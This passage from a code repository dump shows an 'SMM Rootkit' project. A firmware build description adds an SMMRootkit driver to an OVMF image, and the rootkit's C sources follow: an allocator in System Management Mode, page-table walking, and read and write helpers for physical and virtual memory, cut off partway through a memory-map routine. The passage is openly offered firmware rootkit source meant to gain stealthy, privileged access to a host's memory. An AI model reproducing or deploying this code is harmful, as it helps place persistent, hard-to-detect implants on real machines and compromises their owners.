INF NetworkPkg/Dhcp6Dxe/Dhcp6Dxe.inf INF NetworkPkg/Mtftp6Dxe/Mtftp6Dxe.inf INF NetworkPkg/UefiPxeBcDxe/UefiPxeBcDxe.inf INF NetworkPkg/IScsiDxe/IScsiDxe.inf !else INF MdeModulePkg/Universal/Network/Tcp4Dxe/Tcp4Dxe.inf INF MdeModulePkg/Universal/Network/UefiPxeBcDxe/UefiPxeBcDxe.inf INF MdeModulePkg/Universal/Network/IScsiDxe/IScsiDxe.inf !endif !if $(HTTP_BOOT_ENABLE) == TRUE INF NetworkPkg/DnsDxe/DnsDxe.inf INF NetworkPkg/HttpUtilitiesDxe/HttpUtilitiesDxe.inf INF NetworkPkg/HttpDxe/HttpDxe.inf INF NetworkPkg/HttpBootDxe/HttpBootDxe.inf !endif !if $(TLS_ENABLE) == TRUE INF NetworkPkg/TlsDxe/TlsDxe.inf INF NetworkPkg/TlsAuthConfigDxe/TlsAuthConfigDxe.inf !endif INF OvmfPkg/VirtioNetDxe/VirtioNet.inf # # Usb Support # INF MdeModulePkg/Bus/Pci/UhciDxe/UhciDxe.inf INF MdeModulePkg/Bus/Pci/EhciDxe/EhciDxe.inf INF MdeModulePkg/Bus/Pci/XhciDxe/XhciDxe.inf INF MdeModulePkg/Bus/Usb/UsbBusDxe/UsbBusDxe.inf INF MdeModulePkg/Bus/Usb/UsbKbDxe/UsbKbDxe.inf INF MdeModulePkg/Bus/Usb/UsbMassStorageDxe/UsbMassStorageDxe.inf !ifdef $(CSM_ENABLE) INF IntelFrameworkModulePkg/Csm/BiosThunk/VideoDxe/VideoDxe.inf INF IntelFrameworkModulePkg/Csm/LegacyBiosDxe/LegacyBiosDxe.inf INF RuleOverride=CSM OvmfPkg/Csm/Csm16/Csm16.inf !endif INF OvmfPkg/QemuVideoDxe/QemuVideoDxe.inf INF OvmfPkg/VirtioGpuDxe/VirtioGpu.inf INF OvmfPkg/PlatformDxe/Platform.inf INF OvmfPkg/AmdSevDxe/AmdSevDxe.inf INF OvmfPkg/IoMmuDxe/IoMmuDxe.inf !if $(SMM_REQUIRE) == TRUE INF OvmfPkg/SmmAccess/SmmAccess2Dxe.inf INF OvmfPkg/SmmControl2Dxe/SmmControl2Dxe.inf INF UefiCpuPkg/CpuS3DataDxe/CpuS3DataDxe.inf INF MdeModulePkg/Core/PiSmmCore/PiSmmIpl.inf INF MdeModulePkg/Core/PiSmmCore/PiSmmCore.inf INF SMMRootkit/SMMRootkit.inf INF UefiCpuPkg/CpuIo2Smm/CpuIo2Smm.inf INF MdeModulePkg/Universal/LockBox/SmmLockBox/SmmLockBox.inf INF UefiCpuPkg/PiSmmCpuDxeSmm/PiSmmCpuDxeSmm.inf # # Variable driver stack (SMM) # INF OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesSmm.inf INF MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteSmm.inf INF MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmm.inf INF MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmmRuntimeDxe.inf !else # # Variable driver stack (non-SMM) # INF OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesRuntimeDxe.inf INF OvmfPkg/EmuVariableFvbRuntimeDxe/Fvb.inf INF MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteDxe.inf INF MdeModulePkg/Universal/Variable/RuntimeDxe/VariableRuntimeDxe.inf !endif ################################################################################ [FV.FVMAIN_COMPACT] FvNameGuid = 48DB5E17-707C-472D-91CD-1613E7EF51B0 FvAlignment = 16 ERASE_POLARITY = 1 MEMORY_MAPPED = TRUE STICKY_WRITE = TRUE LOCK_CAP = TRUE LOCK_STATUS = TRUE WRITE_DISABLED_CAP = TRUE WRITE_ENABLED_CAP = TRUE WRITE_STATUS = TRUE WRITE_LOCK_CAP = TRUE WRITE_LOCK_STATUS = TRUE READ_DISABLED_CAP = TRUE READ_ENABLED_CAP = TRUE READ_STATUS = TRUE READ_LOCK_CAP = TRUE READ_LOCK_STATUS = TRUE FILE FV_IMAGE = 9E21FD93-9C72-4c15-8C4B-E77F1DB2D792 { SECTION GUIDED EE4E5898-3914-4259-9D6E-DC7BD79403CF PROCESSING_REQUIRED = TRUE { # # These firmware volumes will have files placed in them uncompressed, # and then both firmware volumes will be compressed in a single # compression operation in order to achieve better overall compression. # SECTION FV_IMAGE = PEIFV SECTION FV_IMAGE = DXEFV } } !include DecomprScratchEnd.fdf.inc ################################################################################ [Rule.Common.SEC] FILE SEC = $(NAMED_GUID) { PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi UI STRING ="$(MODULE_NAME)" Optional VERSION STRING ="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) } [Rule.Common.PEI_CORE] FILE PEI_CORE = $(NAMED_GUID) { PE32 PE32 Align=Auto $(INF_OUTPUT)/$(MODULE_NAME).efi UI STRING ="$(MODULE_NAME)" Optional VERSION STRING ="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) } [Rule.Common.PEIM] FILE PEIM = $(NAMED_GUID) { PEI_DEPEX PEI_DEPEX Optional $(INF_OUTPUT)/$(MODULE_NAME).depex PE32 PE32 Align=Auto $(INF_OUTPUT)/$(MODULE_NAME).efi UI STRING="$(MODULE_NAME)" Optional VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) } [Rule.Common.DXE_CORE] FILE DXE_CORE = $(NAMED_GUID) { PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi UI STRING="$(MODULE_NAME)" Optional VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) } [Rule.Common.DXE_DRIVER] FILE DRIVER = $(NAMED_GUID) { DXE_DEPEX DXE_DEPEX Optional $(INF_OUTPUT)/$(MODULE_NAME).depex PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi UI STRING="$(MODULE_NAME)" Optional VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) RAW ACPI Optional |.acpi RAW ASL Optional |.aml } [Rule.Common.DXE_RUNTIME_DRIVER] FILE DRIVER = $(NAMED_GUID) { DXE_DEPEX DXE_DEPEX Optional $(INF_OUTPUT)/$(MODULE_NAME).depex PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi UI STRING="$(MODULE_NAME)" Optional VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) } [Rule.Common.UEFI_DRIVER] FILE DRIVER = $(NAMED_GUID) { DXE_DEPEX DXE_DEPEX Optional $(INF_OUTPUT)/$(MODULE_NAME).depex PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi UI STRING="$(MODULE_NAME)" Optional VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) } [Rule.Common.UEFI_DRIVER.BINARY] FILE DRIVER = $(NAMED_GUID) { DXE_DEPEX DXE_DEPEX Optional |.depex PE32 PE32 |.efi UI STRING="$(MODULE_NAME)" Optional VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) } [Rule.Common.UEFI_APPLICATION] FILE APPLICATION = $(NAMED_GUID) { PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi UI STRING="$(MODULE_NAME)" Optional VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) } [Rule.Common.UEFI_APPLICATION.BINARY] FILE APPLICATION = $(NAMED_GUID) { PE32 PE32 |.efi UI STRING="$(MODULE_NAME)" Optional VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) } [Rule.Common.USER_DEFINED.ACPITABLE] FILE FREEFORM = $(NAMED_GUID) { RAW ACPI |.acpi RAW ASL |.aml } [Rule.Common.USER_DEFINED.CSM] FILE FREEFORM = $(NAMED_GUID) { RAW BIN |.bin } [Rule.Common.SEC.RESET_VECTOR] FILE RAW = $(NAMED_GUID) { RAW BIN Align = 16 |.bin } [Rule.Common.SMM_CORE] FILE SMM_CORE = $(NAMED_GUID) { PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi UI STRING="$(MODULE_NAME)" Optional VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) } [Rule.Common.DXE_SMM_DRIVER] FILE SMM = $(NAMED_GUID) { SMM_DEPEX SMM_DEPEX Optional $(INF_OUTPUT)/$(MODULE_NAME).depex PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi UI STRING="$(MODULE_NAME)" Optional VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) } ================================================ FILE: SMM Rootkit/SMMRootkit/.gitignore ================================================ .vscode/ ================================================ FILE: SMM Rootkit/SMMRootkit/MemManager.c ================================================ #include "MemManager.h" static BOOLEAN memPoolInitialized; static PMemAllocEntry_t memPool; static UINT32 pagesInPool; static UINT64 memAllocated; // from SMMRootkit.c extern EFI_SMM_SYSTEM_TABLE2 *gSmst2; UINT64 GetMemAllocated() { return memAllocated; } BOOLEAN InitMemManager(UINT32 pages) { memPoolInitialized = FALSE; EFI_PHYSICAL_ADDRESS physAddr; if (gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, pages, &physAddr) == EFI_SUCCESS) { // set pool pointer memPool = (PMemAllocEntry_t)physAddr; // nullify the pool UINT8 *pool = (UINT8 *)memPool; for (UINT32 i = 0; i < pages * 4096; i++) { pool[i] = (UINT8)0x00; } // set the global vars, needed by malloc memPoolInitialized = TRUE; pagesInPool = pages; // allocate the first block malloc(0); } return memPoolInitialized; } VOID *palloc(UINT32 pages) { EFI_PHYSICAL_ADDRESS physAddr; if (gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, pages, &physAddr) == EFI_SUCCESS) { return (VOID *)physAddr; } return NULL; } VOID pfree(VOID *address, UINT32 pages) { gSmst2->SmmFreePages((EFI_PHYSICAL_ADDRESS)address, pages); } VOID *malloc(UINT32 size) { // sanity check if (!memPoolInitialized) { SerialPrintStringDebug("FAIL: malloc pool was not set up!\r\n"); return NULL; } PMemAllocEntry_t curr = memPool; PMemAllocEntry_t newEntry = NULL; // find the first allocatable location and return if possible while (curr->next) { if ((UINT8 *)curr + curr->size + 24 + size < (UINT8 *)curr->next) { newEntry = (PMemAllocEntry_t)((UINT8 *)curr + curr->size); newEntry->next = curr->next; newEntry->prev = curr; newEntry->size = size + 24; curr->next->prev = newEntry; curr->next = newEntry; memAllocated += size + 24; return newEntry->data; } curr = curr->next; } // we came to the end of the list, // check that the allocation will not exceed the slab boundaries if ((UINT8 *)curr + curr->size + 24 + size > ((UINT8 *)memPool + (pagesInPool * 4096))) { SerialPrintStringDebug("FAIL: malloc failed for size "); SerialPrintNumberDebug(size, 10); SerialPrintStringDebug("\r\n"); return NULL; } // Is this the first allocation? if (curr->size == 0 && curr == memPool) { curr->size = 24 + size; memAllocated += size + 24; return curr->data; } // normal allocation for normal entries newEntry = (PMemAllocEntry_t)((UINT8 *)curr + curr->size); newEntry->next = curr->next; newEntry->prev = curr; newEntry->size = size + 24; curr->next = newEntry; memAllocated += size + 24; return newEntry->data; } VOID free(VOID *address) { // sanity check if (!memPoolInitialized) { return; } PMemAllocEntry_t curr = memPool; while (curr->next) { curr = curr->next; if (curr->data == address) { if (curr->next) { curr->next->prev = curr->prev; } curr->prev->next = curr->next; curr->prev = NULL; curr->next = NULL; memAllocated -= curr->size + 24; curr->size = 0; } } } ================================================ FILE: SMM Rootkit/SMMRootkit/MemManager.h ================================================ #ifndef __smmrootkit_memory_manager_h__ #define __smmrootkit_memory_manager_h__ #include #include #include #include #include "serial.h" /* * A very simple malloc implementation * * The dynamically allocatable memory is first initialized with * gSmst2->SmmAllocatePages, then given as requested, until the * memory in firstly allocated efi runtime mem runs out * * The implementation uses a simple linked list, with first entry * starting from byte 0 of the allocated efi memory page area. * * If area[0].next = nullptr, there are no allocs currently. * If area[0] = &area[0], there is at least one allocation * PMemAllocEntry_t->next points to the next entry, if it is null, * there are no more entries in the list. */ typedef struct memallocentry MemAllocEntry_t, *PMemAllocEntry_t; #ifdef __GNUC__ struct memallocentry { PMemAllocEntry_t prev; PMemAllocEntry_t next; UINT64 size; UINT8 data[]; } __attribute__((packed)); #endif #ifdef _MSC_VER #define PACK(__Declaration__) __pragma(pack(push, 1)) __Declaration__ __pragma(pack(pop)) PACK(struct memallocentry { PMemAllocEntry_t prev; PMemAllocEntry_t next; UINT64 size; UINT8 data[]; }); #endif /* * Initializes the memory manager with pages number of pages. * @return TRUE if succeeded, FALSE otherwise */ BOOLEAN InitMemManager(UINT32 pages); /* * Allocates number of pages, returns the physical address to allocated memory */ VOID *palloc(UINT32 pages); /* * Frees number of pages from the physical address allocated by palloc */ VOID pfree(VOID *address, UINT32 pages); /* * Tries to dynamically allocate memory * * @return pointer to allocated memory if succeeded, NULL otherwise */ VOID *malloc(UINT32 size); /* * Tries to free a memory address from before dynamically * allocated memory */ VOID free(VOID *address); /* * Returns the total amount of bytes allocated from the pool * */ UINT64 GetMemAllocated(); #endif ================================================ FILE: SMM Rootkit/SMMRootkit/Memory.c ================================================ #include "Memory.h" // from SMMRootkit.c extern EFI_SMM_SYSTEM_TABLE2 *gSmst2; BOOLEAN p_memCpy(UINT64 dest, UINT64 src, size_t n, BOOLEAN verbose) { // Check if the address ranges are in allowed range if ((IsAddressValid((UINT64)src) == FALSE || IsAddressValid((UINT64)(src + n - 1)) == FALSE)) { SerialPrintString("[p_memCpy] Aborted duo to disallowed memory range \r\n"); return FALSE; } // Typecast src and dest addresses to (char *) CHAR8 *csrc = (char *)src; CHAR8 *cdest = (char *)dest; // Copy contents of src[] to dest[] for (INT32 i = 0; i < n; i++) cdest[i] = csrc[i]; return TRUE; } UINT64 VTOP(UINT64 address, UINT64 directoryBase, BOOLEAN verbose) { if (address == 0 && verbose) { SerialPrintStringDebug("[VTOP] address is 0 \r\n"); return 0; } if (directoryBase == 0 && verbose) { SerialPrintStringDebug("[VTOP] directoryBase is 0 \r\n"); return 0; } directoryBase &= ~0xf; UINT64 pageOffset = address & ~(~0ul << PAGE_OFFSET_SIZE); UINT64 pte = ((address >> 12) & (0x1ffll)); UINT64 pt = ((address >> 21) & (0x1ffll)); UINT64 pd = ((address >> 30) & (0x1ffll)); UINT64 pdp = ((address >> 39) & (0x1ffll)); if (verbose) { SerialPrintString("Dirbase: "); SerialPrintNumber(directoryBase, 16); SerialPrintString(" VA "); SerialPrintNumber(address, 16); SerialPrintString(" PO: "); SerialPrintNumber(pageOffset, 16); SerialPrintString(" PTE "); SerialPrintNumber(pte, 16); SerialPrintString(" PT "); SerialPrintNumber(pt, 16); SerialPrintString(" PD "); SerialPrintNumber(pd, 16); SerialPrintString(" PDP "); SerialPrintNumber(pdp, 16); SerialPrintString("\r\n"); } UINT64 pdpe = 0; p_memCpy((UINT64)&pdpe, directoryBase + 8 * pdp, sizeof(UINT64), verbose); if (verbose) { SerialPrintString("Dump PDPE at "); SerialPrintNumber(directoryBase + 8 * pdp, 16); SerialPrintString("results "); SerialPrintNumber(pdpe, 16); SerialPrintString("\r\n"); } if (~pdpe & 1) return 0; UINT64 pde = 0; p_memCpy((UINT64)&pde, (UINT64)(pdpe & PMASK2) + 8 * pd, sizeof(UINT64), verbose); if (verbose) { SerialPrintString("Dump pde at "); SerialPrintNumber((pdpe & PMASK2) + 8 * pd, 16); SerialPrintString("results "); SerialPrintNumber(pde, 16); SerialPrintString("\r\n"); } if (~pde & 1) return 0; /* 1GB large page, use pde's 12-34 bits */ if (pde & 0x80) return (pde & (~0ull << 42 >> 12)) + (address & ~(~0ull << 30)); UINT64 pteAddr = 0; p_memCpy((UINT64)&pteAddr, (UINT64)(pde & PMASK2) + 8 * pt, sizeof(UINT64), verbose); if (verbose) { SerialPrintString("Dump pteAddr at "); SerialPrintNumber((pde & PMASK2) + 8 * pt, 16); SerialPrintString("results "); SerialPrintNumber(pteAddr, 16); SerialPrintString("\r\n"); } if (~pteAddr & 1) return 0; /* 2MB large page */ if (pteAddr & 0x80) return (pteAddr & PMASK) + (address & ~(~0ull << 21)); p_memCpy((UINT64)&address, (UINT64)(pteAddr & PMASK) + 8 * pte, sizeof(UINT64), verbose); address = address & PMASK; if (verbose) { SerialPrintString("Dump address at "); SerialPrintNumber((pteAddr & PMASK) + 8 * pte, 16); SerialPrintString("results "); SerialPrintNumber(address, 16); SerialPrintString("\r\n"); } if (!address) return 0; // UINT64 tempPhys = address & 0xFFFFFFFFFFFFF000; // UINT64 physAddress = tempPhys + virtOffs; return address + pageOffset; } // Declaration for ASM func UINT64 GetCR3(VOID); BOOLEAN PTOV(UINT64 qwAddrPhys, UINT64 *pqwAddrVirt, UINT64 *pqwPTE, UINT64 *pqwPDE, UINT64 *pqwPDPTE, UINT64 *pqwPML4E, BOOLEAN verbose) { BOOLEAN result, fFirstRun; UINT64 PML4[512], PDPT[512], PD[512], PT[512]; UINT64 PML4_idx = 0xfff, PDPT_idx = 0xfff, PD_idx = 0xfff, PT_idx = 0xfff; UINT64 qwA; UINT64 qwPageTableData; UINT64 Cr3 = GetCR3(); // Get Cr3 from SMM Environment SerialPrintStringDebug("[PTOV] Got Cr3, dumping PML4 \r\n"); *PML4 = Cr3 & 0x0000fffffffff000; qwA = 0; fFirstRun = TRUE; while (qwA || fFirstRun) { fFirstRun = FALSE; if (qwA & 0xffff800000000000) { qwA |= 0xffff800000000000; } if (PML4_idx != (0x1ff & (qwA >> 39))) // PML4 { PML4_idx = 0x1ff & (qwA >> 39); qwPageTableData = PML4[PML4_idx]; if ((qwPageTableData & 0x81) != 0x01) { qwA = (qwA + 0x0000008000000000) & 0xffffff8000000000; continue; } p_memCpy((UINT64)PDPT, qwPageTableData & 0x0000fffffffff000, 0x1000, verbose); PDPT_idx = 0xfff; PD_idx = 0xfff; PT_idx = 0xfff; } if (PDPT_idx != (0x1ff & (qwA >> 30))) // PDPT(Page-Directory Pointer Table) { PDPT_idx = 0x1ff & (qwA >> 30); qwPageTableData = PDPT[PDPT_idx]; if ((qwPageTableData & 0x81) != 0x01) { qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000; continue; } p_memCpy((UINT64)PD, qwPageTableData & 0x0000fffffffff000, 0x1000, verbose); if (!result) { qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000; continue; } PD_idx = 0xfff; PT_idx = 0xfff; } if (PD_idx != (0x1ff & (qwA >> 21))) { // PD (Page Directory) PD_idx = 0x1ff & (qwA >> 21); qwPageTableData = PD[PD_idx]; if (((qwPageTableData & 0x81) == 0x81) && ((qwPageTableData & 0x0000ffffffe00000) == (qwAddrPhys & 0x0000ffffffe00000))) { // map 2MB page *pqwAddrVirt = qwA + (qwAddrPhys & 0x1fffff); if (pqwPTE) { *pqwPTE = PD[PD_idx]; } if (pqwPDE) { *pqwPDE = PD[PD_idx]; } if (pqwPDPTE) { *pqwPDPTE = PDPT[PDPT_idx]; } if (pqwPML4E) { *pqwPML4E = PML4[PML4_idx]; } return TRUE; } if ((qwPageTableData & 0x81) != 0x01) { qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000; continue; } p_memCpy((UINT64)PT, qwPageTableData & 0x0000fffffffff000, 0x1000, verbose); if (!result) { qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000; continue; } PT_idx = 0xfff; } if (PT_idx != (0x1ff & (qwA >> 12))) { // PT (Page Table) PT_idx = 0x1ff & (qwA >> 12); qwPageTableData = PT[PT_idx]; if (((qwPageTableData & 0x01) == 0x01) && ((qwPageTableData & 0x0000fffffffff000) == (qwAddrPhys & 0x0000fffffffff000))) { *pqwAddrVirt = qwA + (qwAddrPhys & 0xfff); if (pqwPTE) { *pqwPTE = PT[PT_idx]; } if (pqwPDE) { *pqwPDE = PD[PD_idx]; } if (pqwPDPTE) { *pqwPDPTE = PDPT[PDPT_idx]; } if (pqwPML4E) { *pqwPML4E = PML4[PML4_idx]; } return TRUE; } qwA = (qwA + 0x0000000000001000) & 0xfffffffffffff000; continue; } } return FALSE; } BOOLEAN v_memWrite(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose) { // Translate to physical UINT64 pDest = VTOP(dest, directoryBase, FALSE); if (pDest == 0) { return FALSE; } // Read physical return p_memCpy(pDest, src, n, verbose); } BOOLEAN v_memReadMultiPage(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose) { UINT64 curr_vAddr = src; UINT64 read = 0; while (n > 0) { UINT64 nextPage = (curr_vAddr + 0x1000) & ~0xfff; UINT64 to_read = nextPage - curr_vAddr; // if it's the "last" read if (n < to_read) to_read = n; // Translate to physical UINT64 pSrc = VTOP(curr_vAddr, directoryBase, FALSE); if (pSrc == 0) { return FALSE; } // read physical p_memCpy(dest + read, pSrc, to_read, verbose); n -= to_read; read += to_read; curr_vAddr += to_read; } return TRUE; } BOOLEAN v_memRead(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose) { // Translate to physical UINT64 pSrc = VTOP(src, directoryBase, FALSE); if (pSrc == 0) { return FALSE; } // Read physical return p_memCpy(dest, pSrc, n, verbose); } ================================================ FILE: SMM Rootkit/SMMRootkit/Memory.h ================================================ #ifndef __smmrootkit_memory_h__ #define __smmrootkit_memory_h__ #include #include #include "MemoryMapUEFI.h" // IsAddressValid #include "serial.h" /* * We use windows size of PAGE_OFFSET_SIZE * and PMASK2 */ #include "windows.h" typedef struct _Cache { UINT64 vAddress; UINT64 pAddress; } Cache, PCache; #ifdef __GNUC__ typedef UINT32 size_t; #endif BOOLEAN p_memCpy(UINT64 dest, UINT64 src, size_t n, BOOLEAN verbose); UINT64 VTOP(UINT64 address, UINT64 directoryBase, BOOLEAN verbose); BOOLEAN PTOV(UINT64 qwAddrPhys, UINT64 *pqwAddrVirt, UINT64 *pqwPTE, UINT64 *pqwPDE, UINT64 *pqwPDPTE, UINT64 *pqwPML4E, BOOLEAN verbose); BOOLEAN v_memWrite(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose); BOOLEAN v_memReadMultiPage(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose); BOOLEAN v_memRead(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose); #endif ================================================ FILE: SMM Rootkit/SMMRootkit/MemoryMapUEFI.c ================================================ #include "MemoryMapUEFI.h" EFI_EXIT_BOOT_SERVICES gOrigExitBootServices; EFI_MEMORY_DESCRIPTOR *mUefiMemoryMap; UINTN mUefiMemoryMapSize; UINTN mUefiDescriptorSize; extern EFI_BOOT_SERVICES *lBS; // From SMMRootkit.c #define NEXT_MEMORY_DESCRIPTOR(MemoryDescriptor, Size) \ ((EFI_MEMORY_DESCRIPTOR *)((UINT8 *)(MemoryDescriptor) + (Size))) #define PREVIOUS_MEMORY_DESCRIPTOR(MemoryDescriptor, Size) \ ((EFI_MEMORY_DESCRIPTOR *)((UINT8 *)(MemoryDescriptor) - (Size))) BOOLEAN IsUefiPageNotPresent(IN EFI_MEMORY_DESCRIPTOR *MemoryMap) { switch (MemoryMap->Type) { //case EfiLoaderCode: //case EfiLoaderData: //case EfiBootServicesCode: //case EfiBootServicesData: //case EfiUnusableMemory: //case EfiACPIReclaimMemory: return TRUE; default: return FALSE; } } STATIC BOOLEAN CopyMemUnsafe(UINT64 dest, UINT64 src, UINT32 n, BOOLEAN verbose) { // Typecast src and dest addresses to (char *) CHAR8 *csrc = (CHAR8 *)src; CHAR8 *cdest = (CHAR8 *)dest; // Copy contents of src[] to dest[] for (UINT32 i = 0; i < n; i++) cdest[i] = csrc[i]; return TRUE; } STATIC VOID SortMemoryMap( IN OUT EFI_MEMORY_DESCRIPTOR *MemoryMap, IN UINTN MemoryMapSize, IN UINTN DescriptorSize) { EFI_MEMORY_DESCRIPTOR *MemoryMapEntry; EFI_MEMORY_DESCRIPTOR *NextMemoryMapEntry; EFI_MEMORY_DESCRIPTOR *MemoryMapEnd; EFI_MEMORY_DESCRIPTOR TempMemoryMap; MemoryMapEntry = MemoryMap; NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize); MemoryMapEnd = (EFI_MEMORY_DESCRIPTOR *)((UINT8 *)MemoryMap + MemoryMapSize); while (MemoryMapEntry < MemoryMapEnd) { while (NextMemoryMapEntry < MemoryMapEnd) { if (MemoryMapEntry->PhysicalStart > NextMemoryMapEntry->PhysicalStart) { CopyMem(&TempMemoryMap, MemoryMapEntry, sizeof(EFI_MEMORY_DESCRIPTOR)); CopyMem(MemoryMapEntry, NextMemoryMapEntry, sizeof(EFI_MEMORY_DESCRIPTOR)); CopyMem(NextMemoryMapEntry, &TempMemoryMap, sizeof(EFI_MEMORY_DESCRIPTOR)); } NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(NextMemoryMapEntry, DescriptorSize); } MemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize); NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize); } } STATIC VOID MergeMemoryMapForNotPresentEntry( IN OUT EFI_MEMORY_DESCRIPTOR *MemoryMap, IN OUT UINTN *MemoryMapSize, IN UINTN DescriptorSize) { EFI_MEMORY_DESCRIPTOR *MemoryMapEntry; EFI_MEMORY_DESCRIPTOR *MemoryMapEnd; UINT64 MemoryBlockLength; EFI_MEMORY_DESCRIPTOR *NewMemoryMapEntry; EFI_MEMORY_DESCRIPTOR *NextMemoryMapEntry; MemoryMapEntry = MemoryMap; NewMemoryMapEntry = MemoryMap; MemoryMapEnd = (EFI_MEMORY_DESCRIPTOR *)((UINT8 *)MemoryMap + *MemoryMapSize); while ((UINTN)MemoryMapEntry < (UINTN)MemoryMapEnd) { CopyMem(NewMemoryMapEntry, MemoryMapEntry, sizeof(EFI_MEMORY_DESCRIPTOR)); NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize); do { MemoryBlockLength = (UINT64)(EFI_PAGES_TO_SIZE((UINTN)MemoryMapEntry->NumberOfPages)); if (((UINTN)NextMemoryMapEntry < (UINTN)MemoryMapEnd) && ((MemoryMapEntry->PhysicalStart + MemoryBlockLength) == NextMemoryMapEntry->PhysicalStart)) { MemoryMapEntry->NumberOfPages += NextMemoryMapEntry->NumberOfPages; if (NewMemoryMapEntry != MemoryMapEntry) { NewMemoryMapEntry->NumberOfPages += NextMemoryMapEntry->NumberOfPages; } NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(NextMemoryMapEntry, DescriptorSize); continue; } else { MemoryMapEntry = PREVIOUS_MEMORY_DESCRIPTOR(NextMemoryMapEntry, DescriptorSize); break; } } while (TRUE); MemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize); NewMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(NewMemoryMapEntry, DescriptorSize); } *MemoryMapSize = (UINTN)NewMemoryMapEntry - (UINTN)MemoryMap; return; } BOOLEAN InitUefiMemoryMap() { UINTN MemoryMapSize; EFI_MEMORY_DESCRIPTOR *MemoryMap; UINTN LocalMapKey; UINT32 DescriptorVersion; MemoryMapSize = 0; MemoryMap = NULL; EFI_STATUS Status; Status = lBS->GetMemoryMap( &MemoryMapSize, MemoryMap, &LocalMapKey, &mUefiDescriptorSize, &DescriptorVersion); do { Status = lBS->AllocatePool(EfiBootServicesData, MemoryMapSize, (VOID **)&MemoryMap); if (MemoryMap == NULL) { return FALSE; } Status = lBS->GetMemoryMap( &MemoryMapSize, MemoryMap, &LocalMapKey, &mUefiDescriptorSize, &DescriptorVersion); if (EFI_ERROR(Status)) { lBS->FreePool(MemoryMap); MemoryMap = NULL; } } while (Status == EFI_BUFFER_TOO_SMALL); if (MemoryMap == NULL) return FALSE; SortMemoryMap(MemoryMap, MemoryMapSize, mUefiDescriptorSize); MergeMemoryMapForNotPresentEntry(MemoryMap, &MemoryMapSize, mUefiDescriptorSize); mUefiMemoryMapSize = MemoryMapSize; EFI_PHYSICAL_ADDRESS NewMemoryMap; Status = lBS->AllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &NewMemoryMap); CopyMemUnsafe(NewMemoryMap, (UINT64)MemoryMap, MemoryMapSize, FALSE); mUefiMemoryMap = (EFI_MEMORY_DESCRIPTOR *)NewMemoryMap; lBS->FreePool(MemoryMap); return TRUE; } BOOLEAN IsAddressValid(UINT64 address) { EFI_MEMORY_DESCRIPTOR *MemoryMap; UINTN MemoryMapEntryCount; UINTN Index; if (mUefiMemoryMap != NULL) { MemoryMap = mUefiMemoryMap; MemoryMapEntryCount = mUefiMemoryMapSize / mUefiDescriptorSize; for (Index = 0; Index < MemoryMapEntryCount; Index++) { if ((address >= MemoryMap->PhysicalStart) && (address < MemoryMap->PhysicalStart + EFI_PAGES_TO_SIZE((UINTN)MemoryMap->NumberOfPages))) { return TRUE; } MemoryMap = NEXT_MEMORY_DESCRIPTOR(MemoryMap, mUefiDescriptorSize); } } return FALSE; } EFI_MEMORY_DESCRIPTOR *GetUefiMemoryMap() { return mUefiMemoryMap; } VOID ShowMemoryMap() { EFI_MEMORY_DESCRIPTOR *MemoryMap; UINTN MemoryMapEntryCount; UINTN Index; if (mUefiMemoryMap != NULL) { MemoryMap = mUefiMemoryMap; MemoryMapEntryCount = mUefiMemoryMapSize / mUefiDescriptorSize; for (Index = 0; Index < MemoryMapEntryCount; Index++) { //SerialPrintString("Map: "); //SerialPrintNumber(Index, 10); 